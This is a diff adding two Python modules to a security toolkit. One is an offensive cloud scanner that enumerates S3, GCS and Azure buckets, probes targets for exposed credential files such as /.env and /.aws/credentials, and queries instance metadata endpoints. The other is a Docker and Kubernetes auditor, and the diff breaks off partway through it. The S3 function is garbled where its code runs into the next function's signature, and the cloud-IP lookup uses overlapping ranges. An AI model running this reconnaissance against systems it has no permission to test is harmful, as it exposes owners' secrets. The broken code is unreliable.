+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import re
+import json
+import time
+import threading
+from pathlib import Path
+from typing import Dict, List, Optional, Any
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+try:
+ import requests
+ HAS_REQUESTS = True
+except ImportError:
+ HAS_REQUESTS = False
+
+
+# ── Cloud Provider Endpoints ─────────────────────────────────────────────────
+
+AWS_REGIONS = [
+ 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2',
+ 'eu-west-1', 'eu-west-2', 'eu-central-1',
+ 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1',
+]
+
+COMMON_BUCKET_NAMES = [
+ 'backup', 'backups', 'data', 'dev', 'staging', 'prod', 'production',
+ 'logs', 'assets', 'media', 'uploads', 'images', 'static', 'public',
+ 'private', 'internal', 'config', 'configs', 'db', 'database',
+ 'archive', 'old', 'temp', 'tmp', 'test', 'debug', 'admin',
+ 'www', 'web', 'api', 'app', 'mobile', 'docs', 'documents',
+ 'reports', 'export', 'import', 'share', 'shared',
+]
+
+METADATA_ENDPOINTS = {
+ 'aws': 'http://169.254.169.254/latest/meta-data/',
+ 'gcp': 'http://metadata.google.internal/computeMetadata/v1/',
+ 'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
+ 'digitalocean': 'http://169.254.169.254/metadata/v1/',
+}
+
+
+# ── Cloud Scanner ────────────────────────────────────────────────────────────
+
+class CloudScanner:
+ """Cloud infrastructure security scanner."""
+
+ def __init__(self):
+ self.data_dir = os.path.join(get_data_dir(), 'cloud_scan')
+ os.makedirs(self.data_dir, exist_ok=True)
+ self.results: List[Dict] = []
+ self._jobs: Dict[str, Dict] = {}
+
+ # ── S3 Bucket Enumeration ────────────────────────────────────────────
+
+ def enum_s3_buckets(self, keyword: str, prefixes: List[str] = None,
+ suffixes: List[str] = None) -> str:
+ """Enumerate S3 buckets with naming permutations. Returns job_id."""
+ if not HAS_REQUESTS:
+ return ''
+
+ job_id = f's3enum_{int(time.time())}'
+ self._jobs[job_id] = {
+ 'type': 's3_enum', 'status': 'running',
+ 'found': [], 'checked': 0, 'total': 0
+ }
+
+ def _enum():
+ prefixes_list = prefixes or ['', 'dev-', 'staging-', 'prod-', 'test-', 'backup-']
+ suffixes_list = suffixes or ['', '-backup', '-data', '-assets', '-logs', '-dev',
+ '-staging', '-prod', '-public', '-private']
+
+ bucket_names = set()
+ for pfx in prefixes_list:
+ for sfx in suffixes_list:
+ bucket_names.add(f'{pfx}{keyword}{sfx}')
+ # Add common patterns
+ for common in COMMON_BUCKET_NAMES:
+ bucket_names.add(f'{keyword}-{common}')
+ bucket_names.add(f'{common}-{keyword}')
+
+ self._jobs[job_id]['total'] = len(bucket_names)
+ found = []
+
+ for name in bucket_names:
+ try:
+ # Check S3 bucket
+ url = f'https://{name}.s3.amazonaws.com'
+ resp = requests.head(url, timeout=5, allow_redirects=True)
+ self._jobs[job_id]['checked'] += 1
+
+ if resp.status_code == 200:
+ # Try listing
+ list_resp = requests.get(url, timeout=5)
+ listable = ' str:
+ """Enumerate Google Cloud Storage buckets. Returns job_id."""
+ if not HAS_REQUESTS:
+ return ''
+
+ job_id = f'gcsenum_{int(time.time())}'
+ self._jobs[job_id] = {
+ 'type': 'gcs_enum', 'status': 'running',
+ 'found': [], 'checked': 0, 'total': 0
+ }
+
+ def _enum():
+ names = set()
+ for suffix in ['', '-data', '-backup', '-assets', '-staging', '-prod', '-dev', '-logs']:
+ names.add(f'{keyword}{suffix}')
+
+ self._jobs[job_id]['total'] = len(names)
+ found = []
+
+ for name in names:
+ try:
+ url = f'https://storage.googleapis.com/{name}'
+ resp = requests.head(url, timeout=5)
+ self._jobs[job_id]['checked'] += 1
+
+ if resp.status_code in (200, 403):
+ found.append({
+ 'bucket': name, 'provider': 'gcp',
+ 'url': url, 'status': resp.status_code,
+ 'public': resp.status_code == 200
+ })
+ except Exception:
+ self._jobs[job_id]['checked'] += 1
+
+ self._jobs[job_id]['found'] = found
+ self._jobs[job_id]['status'] = 'complete'
+
+ threading.Thread(target=_enum, daemon=True).start()
+ return job_id
+
+ # ── Azure Blob Enumeration ───────────────────────────────────────────
+
+ def enum_azure_blobs(self, keyword: str) -> str:
+ """Enumerate Azure Blob Storage containers. Returns job_id."""
+ if not HAS_REQUESTS:
+ return ''
+
+ job_id = f'azureenum_{int(time.time())}'
+ self._jobs[job_id] = {
+ 'type': 'azure_enum', 'status': 'running',
+ 'found': [], 'checked': 0, 'total': 0
+ }
+
+ def _enum():
+ # Storage account names
+ accounts = [keyword, f'{keyword}storage', f'{keyword}data',
+ f'{keyword}backup', f'{keyword}dev', f'{keyword}prod']
+ containers = ['$web', 'data', 'backup', 'uploads', 'assets',
+ 'logs', 'public', 'media', 'images']
+
+ total = len(accounts) * len(containers)
+ self._jobs[job_id]['total'] = total
+ found = []
+
+ for account in accounts:
+ for container in containers:
+ try:
+ url = f'https://{account}.blob.core.windows.net/{container}?restype=container&comp=list'
+ resp = requests.get(url, timeout=5)
+ self._jobs[job_id]['checked'] += 1
+
+ if resp.status_code == 200:
+ found.append({
+ 'account': account, 'container': container,
+ 'provider': 'azure', 'url': url,
+ 'status': resp.status_code, 'public': True
+ })
+ elif resp.status_code == 403:
+ found.append({
+ 'account': account, 'container': container,
+ 'provider': 'azure', 'url': url,
+ 'status': 403, 'exists': True, 'public': False
+ })
+ except Exception:
+ self._jobs[job_id]['checked'] += 1
+
+ self._jobs[job_id]['found'] = found
+ self._jobs[job_id]['status'] = 'complete'
+
+ threading.Thread(target=_enum, daemon=True).start()
+ return job_id
+
+ # ── Exposed Services ─────────────────────────────────────────────────
+
+ def scan_exposed_services(self, target: str) -> Dict:
+ """Check for commonly exposed cloud services on a target."""
+ if not HAS_REQUESTS:
+ return {'ok': False, 'error': 'requests not available'}
+
+ services = []
+ checks = [
+ ('/server-status', 'Apache Status'),
+ ('/nginx_status', 'Nginx Status'),
+ ('/.env', 'Environment File'),
+ ('/.git/config', 'Git Config'),
+ ('/.aws/credentials', 'AWS Credentials'),
+ ('/wp-config.php.bak', 'WordPress Config Backup'),
+ ('/phpinfo.php', 'PHP Info'),
+ ('/debug', 'Debug Endpoint'),
+ ('/actuator', 'Spring Actuator'),
+ ('/actuator/env', 'Spring Env'),
+ ('/api/swagger.json', 'Swagger/OpenAPI Spec'),
+ ('/.well-known/security.txt', 'Security Policy'),
+ ('/robots.txt', 'Robots.txt'),
+ ('/sitemap.xml', 'Sitemap'),
+ ('/graphql', 'GraphQL Endpoint'),
+ ('/console', 'Console'),
+ ('/admin', 'Admin Panel'),
+ ('/wp-admin', 'WordPress Admin'),
+ ('/phpmyadmin', 'phpMyAdmin'),
+ ]
+
+ for path, name in checks:
+ try:
+ url = f'{target.rstrip("/")}{path}'
+ resp = requests.get(url, timeout=5, allow_redirects=False)
+ if resp.status_code == 200:
+ # Check content for sensitive data
+ sensitive = False
+ body = resp.text[:2000].lower()
+ sensitive_indicators = [
+ 'password', 'secret', 'access_key', 'private_key',
+ 'database', 'db_host', 'smtp_pass', 'api_key'
+ ]
+ if any(ind in body for ind in sensitive_indicators):
+ sensitive = True
+
+ services.append({
+ 'path': path, 'name': name,
+ 'url': url, 'status': resp.status_code,
+ 'size': len(resp.content),
+ 'sensitive': sensitive,
+ 'content_type': resp.headers.get('content-type', '')
+ })
+ except Exception:
+ pass
+
+ return {
+ 'ok': True,
+ 'target': target,
+ 'services': services,
+ 'count': len(services)
+ }
+
+ # ── Metadata SSRF Check ──────────────────────────────────────────────
+
+ def check_metadata_access(self) -> Dict:
+ """Check if cloud metadata service is accessible (SSRF indicator)."""
+ results = {}
+ for provider, url in METADATA_ENDPOINTS.items():
+ try:
+ headers = {}
+ if provider == 'gcp':
+ headers['Metadata-Flavor'] = 'Google'
+
+ resp = requests.get(url, headers=headers, timeout=3)
+ results[provider] = {
+ 'accessible': resp.status_code == 200,
+ 'status': resp.status_code,
+ 'content_preview': resp.text[:200] if resp.status_code == 200 else ''
+ }
+ except Exception:
+ results[provider] = {'accessible': False, 'error': 'Connection failed'}
+
+ return {'ok': True, 'metadata': results}
+
+ # ── Subdomain / DNS Enumeration for Cloud ────────────────────────────
+
+ def enum_cloud_subdomains(self, domain: str) -> Dict:
+ """Check for cloud-specific subdomains."""
+ if not HAS_REQUESTS:
+ return {'ok': False, 'error': 'requests not available'}
+
+ cloud_prefixes = [
+ 'aws', 's3', 'ec2', 'lambda', 'api', 'cdn',
+ 'azure', 'blob', 'cloud', 'gcp', 'storage',
+ 'dev', 'staging', 'prod', 'admin', 'internal',
+ 'vpn', 'mail', 'smtp', 'imap', 'ftp', 'ssh',
+ 'db', 'database', 'redis', 'elastic', 'kibana',
+ 'grafana', 'prometheus', 'jenkins', 'gitlab', 'docker',
+ 'k8s', 'kubernetes', 'consul', 'vault', 'traefik',
+ ]
+
+ found = []
+ import socket
+ for prefix in cloud_prefixes:
+ subdomain = f'{prefix}.{domain}'
+ try:
+ ip = socket.gethostbyname(subdomain)
+ found.append({
+ 'subdomain': subdomain,
+ 'ip': ip,
+ 'cloud_hint': self._identify_cloud_ip(ip)
+ })
+ except socket.gaierror:
+ pass
+
+ return {'ok': True, 'domain': domain, 'subdomains': found, 'count': len(found)}
+
+ def _identify_cloud_ip(self, ip: str) -> str:
+ """Try to identify cloud provider from IP."""
+ # Rough range checks
+ octets = ip.split('.')
+ if len(octets) == 4:
+ first = int(octets[0])
+ if first in (3, 18, 52, 54, 35):
+ return 'AWS'
+ elif first in (20, 40, 52, 104, 13):
+ return 'Azure'
+ elif first in (34, 35, 104, 142):
+ return 'GCP'
+ return 'Unknown'
+
+ # ── Job Management ───────────────────────────────────────────────────
+
+ def get_job(self, job_id: str) -> Optional[Dict]:
+ return self._jobs.get(job_id)
+
+ def list_jobs(self) -> List[Dict]:
+ return [{'id': k, **v} for k, v in self._jobs.items()]
+
+ # ── Save Results ─────────────────────────────────────────────────────
+
+ def save_results(self, name: str, results: Dict) -> Dict:
+ """Save scan results."""
+ filepath = os.path.join(self.data_dir, f'{name}.json')
+ with open(filepath, 'w') as f:
+ json.dump(results, f, indent=2)
+ return {'ok': True, 'path': filepath}
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_cloud_scanner() -> CloudScanner:
+ global _instance
+ if _instance is None:
+ _instance = CloudScanner()
+ return _instance
+
+
+# ── CLI Interface ────────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for Cloud Security module."""
+ if not HAS_REQUESTS:
+ print(" Error: requests library required")
+ return
+
+ scanner = get_cloud_scanner()
+
+ while True:
+ print(f"\n{'='*60}")
+ print(f" Cloud Security Scanner")
+ print(f"{'='*60}")
+ print()
+ print(" 1 — Enumerate S3 Buckets (AWS)")
+ print(" 2 — Enumerate GCS Buckets (Google)")
+ print(" 3 — Enumerate Azure Blobs")
+ print(" 4 — Scan Exposed Services")
+ print(" 5 — Check Metadata Access (SSRF)")
+ print(" 6 — Cloud Subdomain Enum")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ kw = input(" Target keyword: ").strip()
+ if kw:
+ job_id = scanner.enum_s3_buckets(kw)
+ print(f" Scanning... (job: {job_id})")
+ while True:
+ job = scanner.get_job(job_id)
+ if job['status'] == 'complete':
+ for b in job['found']:
+ status = 'PUBLIC+LISTABLE' if b.get('listable') else \
+ ('PUBLIC' if b.get('public') else 'EXISTS')
+ print(f" [{status}] {b['bucket']}")
+ if not job['found']:
+ print(" No buckets found")
+ break
+ time.sleep(1)
+ elif choice == '4':
+ target = input(" Target URL: ").strip()
+ if target:
+ result = scanner.scan_exposed_services(target)
+ for s in result['services']:
+ flag = ' [SENSITIVE]' if s.get('sensitive') else ''
+ print(f" {s['path']}: {s['name']}{flag}")
+ elif choice == '5':
+ result = scanner.check_metadata_access()
+ for provider, info in result['metadata'].items():
+ status = 'ACCESSIBLE' if info.get('accessible') else 'blocked'
+ print(f" {provider}: {status}")
+ elif choice == '6':
+ domain = input(" Target domain: ").strip()
+ if domain:
+ result = scanner.enum_cloud_subdomains(domain)
+ for s in result['subdomains']:
+ print(f" {s['subdomain']} → {s['ip']} ({s['cloud_hint']})")
diff --git a/modules/container_sec.py b/modules/container_sec.py
new file mode 100644
index 0000000..70203a3
--- /dev/null
+++ b/modules/container_sec.py
@@ -0,0 +1,1482 @@
+"""AUTARCH Container Security
+
+Docker auditing, Kubernetes assessment, container image scanning,
+escape detection, Dockerfile linting, and runtime monitoring.
+"""
+
+DESCRIPTION = "Container security — Docker & Kubernetes auditing"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+import os
+import re
+import sys
+import json
+import subprocess
+import platform
+import time
+from pathlib import Path
+from datetime import datetime
+from typing import Dict, List, Optional, Any
+
+try:
+ from core.paths import get_data_dir, find_tool
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+ import shutil
+
+ def find_tool(name):
+ return shutil.which(name)
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = ''
+
+ def clear_screen():
+ pass
+
+ def display_banner():
+ pass
+
+
+# ── Dangerous Docker capabilities ───────────────────────────────────────────
+
+DANGEROUS_CAPS = [
+ 'SYS_ADMIN', 'NET_ADMIN', 'SYS_PTRACE', 'SYS_RAWIO',
+ 'DAC_OVERRIDE', 'FOWNER', 'NET_RAW', 'MKNOD', 'SYS_CHROOT',
+ 'AUDIT_WRITE', 'SETFCAP', 'MAC_OVERRIDE', 'MAC_ADMIN',
+ 'SYSLOG', 'DAC_READ_SEARCH', 'LINUX_IMMUTABLE', 'SYS_BOOT',
+ 'SYS_MODULE', 'SYS_TIME', 'KILL',
+]
+
+SENSITIVE_MOUNTS = [
+ '/var/run/docker.sock', '/run/docker.sock',
+ '/proc', '/sys', '/dev', '/etc/shadow', '/etc/passwd',
+ '/root', '/home', '/var/log',
+]
+
+DEFAULT_SECCOMP_PROFILE = 'runtime/default'
+
+# ── Dockerfile Lint Rules ───────────────────────────────────────────────────
+
+DOCKERFILE_RULES = {
+ 'DL001': {'severity': 'high', 'title': 'FROM uses :latest tag',
+ 'desc': 'Pin image versions for reproducible builds.'},
+ 'DL002': {'severity': 'high', 'title': 'No USER directive',
+ 'desc': 'Container runs as root by default. Add a USER directive.'},
+ 'DL003': {'severity': 'medium', 'title': 'ADD used instead of COPY',
+ 'desc': 'Use COPY for local files. ADD auto-extracts and supports URLs.'},
+ 'DL004': {'severity': 'high', 'title': 'Secrets in ENV/ARG',
+ 'desc': 'Avoid passing secrets via ENV or ARG. Use build secrets.'},
+ 'DL005': {'severity': 'low', 'title': 'Missing HEALTHCHECK',
+ 'desc': 'Add HEALTHCHECK for container orchestration readiness.'},
+ 'DL006': {'severity': 'medium', 'title': 'apt-get without --no-install-recommends',
+ 'desc': 'Use --no-install-recommends to reduce image size.'},
+ 'DL007': {'severity': 'low', 'title': 'Missing cache cleanup',
+ 'desc': 'Run apt-get clean / rm -rf /var/lib/apt/lists/* after install.'},
+ 'DL008': {'severity': 'medium', 'title': 'EXPOSE all interfaces',
+ 'desc': 'Avoid EXPOSE with 0.0.0.0; bind to specific interfaces.'},
+ 'DL009': {'severity': 'high', 'title': 'COPY / ADD of sensitive files',
+ 'desc': 'Avoid copying .env, credentials, or private keys into image.'},
+ 'DL010': {'severity': 'medium', 'title': 'Using sudo in RUN',
+ 'desc': 'Avoid sudo in Dockerfiles. Use USER directive instead.'},
+ 'DL011': {'severity': 'low', 'title': 'Multiple consecutive RUN commands',
+ 'desc': 'Chain RUN commands with && to reduce layers.'},
+}
+
+SECRET_PATTERNS = re.compile(
+ r'(password|secret|token|api_key|apikey|access_key|private_key|'
+ r'aws_secret|db_pass|database_url|auth_token)',
+ re.IGNORECASE
+)
+
+SENSITIVE_FILE_PATTERNS = re.compile(
+ r'\.(pem|key|p12|pfx|env|credentials|htpasswd|pgpass)$',
+ re.IGNORECASE
+)
+
+
+# ── ContainerSecurity Class ─────────────────────────────────────────────────
+
+class ContainerSecurity:
+ """Docker and Kubernetes security auditing engine."""
+
+ _instance = None
+
+ def __init__(self):
+ data = Path(str(get_data_dir())) / 'container_sec'
+ data.mkdir(parents=True, exist_ok=True)
+ self._data_dir = data
+ self._results_path = data / 'results.json'
+ self._results = {
+ 'docker_host': [],
+ 'container_audits': {},
+ 'image_scans': {},
+ 'dockerfile_lints': [],
+ 'k8s_audits': {},
+ 'escape_checks': {},
+ 'timestamp': None,
+ }
+ self._is_win = platform.system() == 'Windows'
+
+ # ── helpers ──────────────────────────────────────────────────────────────
+
+ def _run(self, cmd: str, timeout: int = 30) -> tuple:
+ """Run a shell command. Returns (success: bool, stdout: str)."""
+ try:
+ result = subprocess.run(
+ cmd, shell=True, capture_output=True, text=True, timeout=timeout
+ )
+ return result.returncode == 0, result.stdout.strip()
+ except subprocess.TimeoutExpired:
+ return False, 'Command timed out'
+ except Exception as e:
+ return False, str(e)
+
+ def _run_json(self, cmd: str, timeout: int = 30) -> tuple:
+ """Run command expecting JSON output. Returns (success, parsed_data)."""
+ ok, raw = self._run(cmd, timeout=timeout)
+ if not ok:
+ return False, raw
+ try:
+ return True, json.loads(raw)
+ except (json.JSONDecodeError, ValueError):
+ return False, raw
+
+ def _save_results(self):
+ self._results['timestamp'] = datetime.utcnow().isoformat()
+ try:
+ with open(self._results_path, 'w') as f:
+ json.dump(self._results, f, indent=2, default=str)
+ except Exception:
+ pass
+
+ # ── tool checks ──────────────────────────────────────────────────────────
+
+ def check_docker_installed(self) -> dict:
+ """Check if Docker CLI is available."""
+ docker = find_tool('docker')
+ if not docker:
+ return {'installed': False, 'path': None, 'version': None}
+ ok, ver = self._run(f'"{docker}" --version')
+ return {
+ 'installed': True,
+ 'path': docker,
+ 'version': ver if ok else 'unknown',
+ }
+
+ def check_kubectl_installed(self) -> dict:
+ """Check if kubectl CLI is available."""
+ kubectl = find_tool('kubectl')
+ if not kubectl:
+ return {'installed': False, 'path': None, 'version': None, 'context': None}
+ ok, ver = self._run(f'"{kubectl}" version --client --short 2>/dev/null || "{kubectl}" version --client')
+ ctx_ok, ctx = self._run(f'"{kubectl}" config current-context 2>/dev/null')
+ return {
+ 'installed': True,
+ 'path': kubectl,
+ 'version': ver if ok else 'unknown',
+ 'context': ctx if ctx_ok else None,
+ }
+
+ # ── Docker Host Audit ────────────────────────────────────────────────────
+
+ def audit_docker_host(self) -> list:
+ """Comprehensive Docker host security audit."""
+ findings = []
+ docker = find_tool('docker')
+ if not docker:
+ return [{'check': 'Docker CLI', 'severity': 'critical',
+ 'status': 'fail', 'detail': 'Docker not found on system'}]
+
+ # 1. Daemon configuration
+ daemon_cfg_path = '/etc/docker/daemon.json'
+ if self._is_win:
+ daemon_cfg_path = os.path.expandvars(r'%ProgramData%\docker\config\daemon.json')
+
+ daemon_cfg = {}
+ if os.path.isfile(daemon_cfg_path):
+ try:
+ with open(daemon_cfg_path) as f:
+ daemon_cfg = json.load(f)
+ findings.append({
+ 'check': 'Daemon Config',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': f'Found {daemon_cfg_path}',
+ })
+ except Exception as e:
+ findings.append({
+ 'check': 'Daemon Config',
+ 'severity': 'medium',
+ 'status': 'warn',
+ 'detail': f'Cannot parse {daemon_cfg_path}: {e}',
+ })
+ else:
+ findings.append({
+ 'check': 'Daemon Config',
+ 'severity': 'medium',
+ 'status': 'warn',
+ 'detail': f'No daemon.json found at {daemon_cfg_path}',
+ })
+
+ # 2. Docker socket permissions (Linux only)
+ if not self._is_win:
+ sock = '/var/run/docker.sock'
+ if os.path.exists(sock):
+ try:
+ stat = os.stat(sock)
+ mode = oct(stat.st_mode)[-3:]
+ world_rw = mode[2] in ('6', '7', '2', '3')
+ if world_rw:
+ findings.append({
+ 'check': 'Docker Socket Permissions',
+ 'severity': 'high',
+ 'status': 'fail',
+ 'detail': f'{sock} is world-accessible (mode {mode}). Restrict to docker group.',
+ })
+ else:
+ findings.append({
+ 'check': 'Docker Socket Permissions',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': f'{sock} permissions: {mode}',
+ })
+ except Exception:
+ findings.append({
+ 'check': 'Docker Socket Permissions',
+ 'severity': 'low',
+ 'status': 'warn',
+ 'detail': 'Cannot stat docker socket',
+ })
+
+ # 3. TLS configuration
+ tls_verify = daemon_cfg.get('tls', False) or daemon_cfg.get('tlsverify', False)
+ if tls_verify:
+ findings.append({
+ 'check': 'TLS Configuration',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': 'Docker daemon TLS is enabled',
+ })
+ else:
+ findings.append({
+ 'check': 'TLS Configuration',
+ 'severity': 'medium',
+ 'status': 'warn',
+ 'detail': 'Docker daemon TLS is not configured in daemon.json',
+ })
+
+ # 4. User namespace remapping
+ userns = daemon_cfg.get('userns-remap', '')
+ if userns:
+ findings.append({
+ 'check': 'User Namespace Remapping',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': f'Remapped to: {userns}',
+ })
+ else:
+ findings.append({
+ 'check': 'User Namespace Remapping',
+ 'severity': 'medium',
+ 'status': 'warn',
+ 'detail': 'Not enabled. Containers run as host UID 0.',
+ })
+
+ # 5. Content trust
+ content_trust = os.environ.get('DOCKER_CONTENT_TRUST', '0')
+ if content_trust == '1':
+ findings.append({
+ 'check': 'Content Trust (DCT)',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': 'DOCKER_CONTENT_TRUST=1 — signed images enforced',
+ })
+ else:
+ findings.append({
+ 'check': 'Content Trust (DCT)',
+ 'severity': 'low',
+ 'status': 'warn',
+ 'detail': 'DOCKER_CONTENT_TRUST not set. Unsigned images accepted.',
+ })
+
+ # 6. Live restore
+ live_restore = daemon_cfg.get('live-restore', False)
+ if live_restore:
+ findings.append({
+ 'check': 'Live Restore',
+ 'severity': 'info',
+ 'status': 'pass',
+ 'detail': 'Containers survive daemon restarts',
+ })
+ else:
+ findings.append({
+ 'check': 'Live Restore',
+ 'severity': 'low',
+ 'status': 'warn',
+ 'detail': 'live-restore not enabled in daemon.json',
+ })
+
+ # 7. Logging driver
+ log_driver = daemon_cfg.get('log-driver', 'json-file')
+ log_opts = daemon_cfg.get('log-opts', {})
+ max_size = log_opts.get('max-size', 'unlimited')
+ findings.append({
+ 'check': 'Logging Driver',
+ 'severity': 'low' if log_driver == 'json-file' and max_size == 'unlimited' else 'info',
+ 'status': 'warn' if max_size == 'unlimited' else 'pass',
+ 'detail': f'Driver: {log_driver}, max-size: {max_size}',
+ })
+
+ # 8. Docker info — check swarm, runtimes
+ ok, info_raw = self._run(f'"{docker}" info --format "{{{{json .}}}}"')
+ if ok:
+ try:
+ info = json.loads(info_raw)
+ # Check default runtime
+ rt = info.get('DefaultRuntime', 'runc')
+ findings.append({
+ 'check': 'Default Runtime',
+ 'severity': 'info',
+ 'status': 'pass' if rt in ('runc', 'crun') else 'info',
+ 'detail': f'Runtime: {rt}',
+ })
+ # Swarm mode
+ swarm = info.get('Swarm', {})
+ swarm_active = swarm.get('LocalNodeState', 'inactive') == 'active'
+ if swarm_active:
+ findings.append({
+ 'check': 'Swarm Mode',
+ 'severity': 'info',
+ 'status': 'info',
+ 'detail': 'Swarm is active. Ensure manager auto-lock is enabled.',
+ })
+ except (json.JSONDecodeError, ValueError):
+ pass
+
+ self._results['docker_host'] = findings
+ self._save_results()
+ return findings
+
+ # ── Container Listing / Inspection ───────────────────────────────────────
+
+ def list_containers(self, all: bool = True) -> list:
+ """List Docker containers."""
+ docker = find_tool('docker')
+ if not docker:
+ return []
+
+ flag = '-a' if all else ''
+ fmt = '{{json .}}'
+ ok, raw = self._run(f'"{docker}" ps {flag} --format "{fmt}"')
+ if not ok:
+ return []
+
+ containers = []
+ for line in raw.splitlines():
+ line = line.strip()
+ if not line:
+ continue
+ try:
+ c = json.loads(line)
+ containers.append({
+ 'id': c.get('ID', ''),
+ 'name': c.get('Names', ''),
+ 'image': c.get('Image', ''),
+ 'status': c.get('Status', ''),
+ 'ports': c.get('Ports', ''),
+ 'created': c.get('CreatedAt', ''),
+ 'state': c.get('State', ''),
+ })
+ except (json.JSONDecodeError, ValueError):
+ continue
+ return containers
+
+ def inspect_container(self, container_id: str) -> dict:
+ """Inspect a container and extract security-relevant config."""
+ docker = find_tool('docker')
+ if not docker:
+ return {'error': 'Docker not found'}
+
+ ok, data = self._run_json(f'"{docker}" inspect {container_id}')
+ if not ok or not isinstance(data, list) or len(data) == 0:
+ return {'error': f'Cannot inspect container {container_id}'}
+
+ info = data[0]
+ host_cfg = info.get('HostConfig', {})
+ cfg = info.get('Config', {})
+
+ # Capabilities
+ cap_add = host_cfg.get('CapAdd') or []
+ cap_drop = host_cfg.get('CapDrop') or []
+
+ # Mounts
+ mounts = []
+ for m in info.get('Mounts', []):
+ mounts.append({
+ 'source': m.get('Source', ''),
+ 'destination': m.get('Destination', ''),
+ 'mode': m.get('Mode', ''),
+ 'rw': m.get('RW', True),
+ 'type': m.get('Type', ''),
+ })
+
+ # Security options
+ sec_opts = host_cfg.get('SecurityOpt') or []
+
+ return {
+ 'id': info.get('Id', '')[:12],
+ 'name': info.get('Name', '').lstrip('/'),
+ 'image': cfg.get('Image', ''),
+ 'privileged': host_cfg.get('Privileged', False),
+ 'cap_add': cap_add,
+ 'cap_drop': cap_drop,
+ 'mounts': mounts,
+ 'network_mode': host_cfg.get('NetworkMode', ''),
+ 'user': cfg.get('User', '') or 'root',
+ 'pid_mode': host_cfg.get('PidMode', ''),
+ 'ipc_mode': host_cfg.get('IpcMode', ''),
+ 'read_only_rootfs': host_cfg.get('ReadonlyRootfs', False),
+ 'security_opt': sec_opts,
+ 'memory_limit': host_cfg.get('Memory', 0),
+ 'cpu_shares': host_cfg.get('CpuShares', 0),
+ 'pids_limit': host_cfg.get('PidsLimit', 0),
+ 'restart_policy': host_cfg.get('RestartPolicy', {}).get('Name', ''),
+ 'env': cfg.get('Env', []),
+ }
+
+ # ── Container Security Audit ─────────────────────────────────────────────
+
+ def audit_container(self, container_id: str) -> dict:
+ """Full security audit of a running container."""
+ info = self.inspect_container(container_id)
+ if 'error' in info:
+ return info
+
+ findings = []
+ passed = 0
+ total = 0
+
+ def check(name, ok, detail='', severity='medium'):
+ nonlocal passed, total
+ total += 1
+ if ok:
+ passed += 1
+ findings.append({
+ 'check': name,
+ 'status': 'pass' if ok else 'fail',
+ 'severity': severity if not ok else 'info',
+ 'detail': detail,
+ })
+
+ # 1. Privileged mode
+ check('Privileged Mode',
+ not info['privileged'],
+ 'Container is running in privileged mode!' if info['privileged']
+ else 'Not privileged',
+ severity='critical')
+
+ # 2. Dangerous capabilities
+ dangerous_found = [c for c in info['cap_add'] if c in DANGEROUS_CAPS]
+ check('Capabilities',
+ len(dangerous_found) == 0,
+ f'Dangerous capabilities added: {", ".join(dangerous_found)}' if dangerous_found
+ else f'No dangerous capabilities ({len(info["cap_drop"])} dropped)',
+ severity='high')
+
+ # 3. Sensitive mounts
+ sensitive_found = []
+ for m in info['mounts']:
+ for s in SENSITIVE_MOUNTS:
+ if m['destination'].startswith(s) or m['source'].startswith(s):
+ sensitive_found.append(f'{m["source"]} -> {m["destination"]}')
+ break
+ check('Sensitive Mounts',
+ len(sensitive_found) == 0,
+ f'Sensitive paths mounted: {"; ".join(sensitive_found)}' if sensitive_found
+ else 'No sensitive host paths mounted',
+ severity='high')
+
+ # 4. Running as root
+ check('User',
+ info['user'] not in ('', 'root', '0'),
+ f'Running as: {info["user"]}' if info['user'] not in ('', 'root', '0')
+ else 'Running as root. Use USER directive.',
+ severity='medium')
+
+ # 5. Read-only root filesystem
+ check('Read-only Rootfs',
+ info['read_only_rootfs'],
+ 'Root filesystem is read-only' if info['read_only_rootfs']
+ else 'Root filesystem is writable. Consider --read-only.',
+ severity='low')
+
+ # 6. Resource limits — memory
+ check('Memory Limit',
+ info['memory_limit'] > 0,
+ f'Memory limit: {info["memory_limit"] // (1024*1024)}MB' if info['memory_limit'] > 0
+ else 'No memory limit set. Container can exhaust host memory.',
+ severity='medium')
+
+ # 7. Resource limits — PID
+ pids = info['pids_limit']
+ has_pids = pids is not None and pids > 0 and pids != -1
+ check('PID Limit',
+ has_pids,
+ f'PID limit: {pids}' if has_pids
+ else 'No PID limit. Fork bomb possible.',
+ severity='low')
+
+ # 8. Seccomp profile
+ seccomp_set = any('seccomp' in opt for opt in info['security_opt'])
+ no_seccomp = any('seccomp=unconfined' in opt for opt in info['security_opt'])
+ check('Seccomp Profile',
+ seccomp_set and not no_seccomp,
+ 'Seccomp profile disabled (unconfined)!' if no_seccomp
+ else ('Custom seccomp profile applied' if seccomp_set
+ else 'Default seccomp profile (OK for Docker default)'),
+ severity='high' if no_seccomp else 'low')
+
+ # 9. AppArmor profile
+ apparmor_set = any('apparmor' in opt for opt in info['security_opt'])
+ no_apparmor = any('apparmor=unconfined' in opt for opt in info['security_opt'])
+ check('AppArmor Profile',
+ not no_apparmor,
+ 'AppArmor disabled (unconfined)!' if no_apparmor
+ else ('AppArmor profile applied' if apparmor_set
+ else 'No explicit AppArmor profile (using Docker default)'),
+ severity='medium' if no_apparmor else 'low')
+
+ # 10. Network mode
+ check('Network Mode',
+ info['network_mode'] not in ('host',),
+ f'Network mode: {info["network_mode"]}',
+ severity='high' if info['network_mode'] == 'host' else 'info')
+
+ # 11. PID mode
+ check('PID Mode',
+ info['pid_mode'] != 'host',
